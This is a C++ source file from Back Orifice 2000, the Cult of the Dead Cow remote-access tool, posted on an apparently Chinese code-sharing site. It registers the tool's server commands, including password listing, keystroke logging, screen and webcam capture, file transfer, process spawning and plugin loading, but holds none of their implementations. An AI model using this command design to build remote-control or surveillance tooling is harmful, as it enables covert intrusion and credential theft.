comm_native.cpp
上传用户:jinandeyu
上传日期:2007-01-05
资源大小:620k
文件大小:6k
源码类别:

远程控制编程

开发平台:

WINDOWS

  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  3.     This program is free software; you can redistribute it and/or modify
  4.     it under the terms of the GNU General Public License as published by
  5.     the Free Software Foundation; either version 2 of the License, or
  6.     (at your option) any later version.
  7.     This program is distributed in the hope that it will be useful,
  8.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.     GNU General Public License for more details.
  11.     You should have received a copy of the GNU General Public License
  12.     along with this program; if not, write to the Free Software
  13.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  14. The author of this program may be contacted at dildog@l0pht.com. */
  15. // Native Back Orifice Commands
  16. #include<windows.h>
  17. #include<bocomreg.h>
  18. #include<comm_native.h>
  19. #include<iohandler.h>
  20. #include<cmdcmd_simple.h>
  21. #include<cmdcmd_system.h>
  22. #include<cmdcmd_gui.h>
  23. #include<cmdcmd_tcpip.h>
  24. #include<cmdcmd_msnet.h>
  25. #include<cmdcmd_process.h>
  26. #include<cmdcmd_registry.h>
  27. #include<cmdcmd_multimedia.h>
  28. #include<cmdcmd_file.h>
  29. #include<cmdcmd_resolver.h>
  30. #include<cmdcmd_compress.h>
  31. #include<cmdcmd_keylogging.h>
  32. #include<cmdcmd_serverctrl.h>
  33. #include<cmdcmd_plugin.h>
  34. int RegisterNativeCommands(void)
  35. {
  36. // Simple commands (MUST BE HERE, DO NOT UNREGISTER UNLESS YOU KNOW WHAT YOU ARE DOING!)
  37. RegisterNativeCommand(BO_PING,CmdProc_Ping);
  38. RegisterNativeCommand(BO_QUERY,CmdProc_Query);
  39. // System Commands
  40. RegisterNativeCommand(BO_SYSREBOOT,CmdProc_SysReboot);
  41. RegisterNativeCommand(BO_SYSLOCKUP,CmdProc_SysLockup);
  42. RegisterNativeCommand(BO_SYSLISTPASSWORDS,CmdProc_SysListPasswords);
  43. // RegisterNativeCommand(BO_SYSVIEWCONSOLE,CmdProc_SysViewConsole);
  44. RegisterNativeCommand(BO_SYSINFO,CmdProc_SysInfo);
  45. // Key Logging
  46. RegisterNativeCommand(BO_SYSLOGKEYS,CmdProc_SysLogKeys);
  47. RegisterNativeCommand(BO_SYSENDKEYLOG,CmdProc_SysEndKeyLog);
  48. RegisterNativeCommand(BO_SYSLOGVIEW,CmdProc_FileView);
  49. RegisterNativeCommand(BO_SYSLOGDELETE,CmdProc_FileDelete);
  50. // GUI Commandszz
  51. RegisterNativeCommand(BO_SYSMESSAGEBOX,CmdProc_SysMessageBox);
  52. // TCP/IP
  53. RegisterNativeCommand(BO_REDIRADD,CmdProc_RedirAdd);
  54. RegisterNativeCommand(BO_APPADD,CmdProc_AppAdd);
  55. RegisterNativeCommand(BO_HTTPENABLE,CmdProc_HTTPEnable);
  56. RegisterNativeCommand(BO_TCPFILERECEIVE,CmdProc_TCPFileReceive);
  57. RegisterNativeCommand(BO_PORTLIST,CmdProc_PortList);
  58. RegisterNativeCommand(BO_PORTDEL,CmdProc_PortDel);
  59. RegisterNativeCommand(BO_TCPFILESEND,CmdProc_TCPFileSend);
  60. // M$ Networking Commands
  61. RegisterNativeCommand(BO_NETEXPORTADD,CmdProc_NetExportAdd);
  62. RegisterNativeCommand(BO_NETEXPORTDELETE,CmdProc_NetExportDelete);
  63. RegisterNativeCommand(BO_NETEXPORTLIST,CmdProc_NetExportList);
  64. RegisterNativeCommand(BO_NETVIEW,CmdProc_NetView);
  65. RegisterNativeCommand(BO_NETUSE,CmdProc_NetUse);
  66. RegisterNativeCommand(BO_NETDELETE,CmdProc_NetDelete);
  67. RegisterNativeCommand(BO_NETCONNECTIONS,CmdProc_NetConnections);
  68. // Process Handling
  69. RegisterNativeCommand(BO_PROCESSLIST,CmdProc_ProcessList);
  70. RegisterNativeCommand(BO_PROCESSKILL,CmdProc_ProcessKill);
  71. RegisterNativeCommand(BO_PROCESSSPAWN,CmdProc_ProcessSpawn);
  72. // Registry Management
  73. RegisterNativeCommand(BO_REGISTRYCREATEKEY,CmdProc_RegCreateKey);
  74. RegisterNativeCommand(BO_REGISTRYSETVALUE,CmdProc_RegSetValue);
  75. RegisterNativeCommand(BO_REGISTRYGETVALUE,CmdProc_RegGetValue);
  76. RegisterNativeCommand(BO_REGISTRYDELETEKEY,CmdProc_RegDeleteKey);
  77. RegisterNativeCommand(BO_REGISTRYDELETEVALUE,CmdProc_RegDeleteValue);
  78. RegisterNativeCommand(BO_REGISTRYRENAMEKEY,CmdProc_RegRenameKey);
  79. RegisterNativeCommand(BO_REGISTRYRENAMEVALUE,CmdProc_RegRenameValue);
  80. RegisterNativeCommand(BO_REGISTRYENUMKEYS,CmdProc_RegEnumKeys);
  81. RegisterNativeCommand(BO_REGISTRYENUMVALS,CmdProc_RegEnumValues);
  82. // Multimedia Controls 
  83. RegisterNativeCommand(BO_MMCAPFRAME,CmdProc_MMCapFrame);
  84. RegisterNativeCommand(BO_MMCAPAVI,CmdProc_MMCapAVI);
  85. RegisterNativeCommand(BO_MMPLAYSOUND,CmdProc_MMPlaySound);
  86. RegisterNativeCommand(BO_MMLOOPSOUND,CmdProc_MMLoopSound);
  87. RegisterNativeCommand(BO_MMSTOPSOUND,CmdProc_MMStopSound);
  88. RegisterNativeCommand(BO_MMLISTCAPS,CmdProc_MMListCaps);
  89. RegisterNativeCommand(BO_MMCAPSCREEN,CmdProc_MMCapScreen);
  90. // File and Directory Commands
  91. RegisterNativeCommand(BO_DIRECTORYLIST,CmdProc_DirectoryList);
  92. RegisterNativeCommand(BO_FILEFIND,CmdProc_FileFind);
  93. RegisterNativeCommand(BO_FILEDELETE,CmdProc_FileDelete);
  94. RegisterNativeCommand(BO_FILEVIEW,CmdProc_FileView);
  95. RegisterNativeCommand(BO_FILERENAME,CmdProc_FileRename);
  96. RegisterNativeCommand(BO_FILECOPY,CmdProc_FileCopy);
  97. RegisterNativeCommand(BO_DIRECTORYMAKE,CmdProc_DirectoryMake);
  98. RegisterNativeCommand(BO_DIRECTORYDELETE,CmdProc_DirectoryDelete);
  99. RegisterNativeCommand(BO_SETFILEATTR,CmdProc_SetFileAttr);
  100. RegisterNativeCommand(BO_RECEIVEFILE,CmdProc_ReceiveFile);
  101. RegisterNativeCommand(BO_SENDFILE,CmdProc_SendFile);
  102. RegisterNativeCommand(BO_EMITFILE,CmdProc_EmitFile);
  103. RegisterNativeCommand(BO_LISTTRANSFERS,CmdProc_ListTransfers);
  104. RegisterNativeCommand(BO_CANCELTRANSFER,CmdProc_CancelTransfer);
  105. // File Compression
  106. RegisterNativeCommand(BO_FILEFREEZE,CmdProc_FreezeFile);
  107. RegisterNativeCommand(BO_FILEMELT,CmdProc_MeltFile);
  108. // Resolver
  109. RegisterNativeCommand(BO_RESOLVEHOST,CmdProc_ResolveHost);
  110. RegisterNativeCommand(BO_RESOLVEADDR,CmdProc_ResolveAddr);
  111. // Server Control
  112. RegisterNativeCommand(BO_SHUTDOWNSERVER,CmdProc_ShutdownServer);
  113. RegisterNativeCommand(BO_RESTARTSERVER,CmdProc_RestartServer);
  114. RegisterNativeCommand(BO_LOADPLUGINDLL,CmdProc_LoadPluginDll);
  115. RegisterNativeCommand(BO_DEBUGPLUGINDLL,CmdProc_DebugPluginDll);
  116. RegisterNativeCommand(BO_LISTPLUGINDLLS,CmdProc_ListPluginDlls);
  117. RegisterNativeCommand(BO_REMOVEPLUGINDLL,CmdProc_RemovePluginDll);
  118. RegisterNativeCommand(BO_STARTCOMMANDSOCKET,CmdProc_StartCommandSocket);
  119. RegisterNativeCommand(BO_LISTCOMMANDSOCKETS,CmdProc_ListCommandSockets);
  120. RegisterNativeCommand(BO_STOPCOMMANDSOCKET,CmdProc_StopCommandSocket);
  121. // Legacy Plugin interface
  122. RegisterNativeCommand(BO_PLUGINEXECUTE,CmdProc_PluginExecute);
  123. RegisterNativeCommand(BO_PLUGINLIST,CmdProc_PluginList);
  124. RegisterNativeCommand(BO_PLUGINKILL,CmdProc_PluginKill);
  125. return 0;
  126. }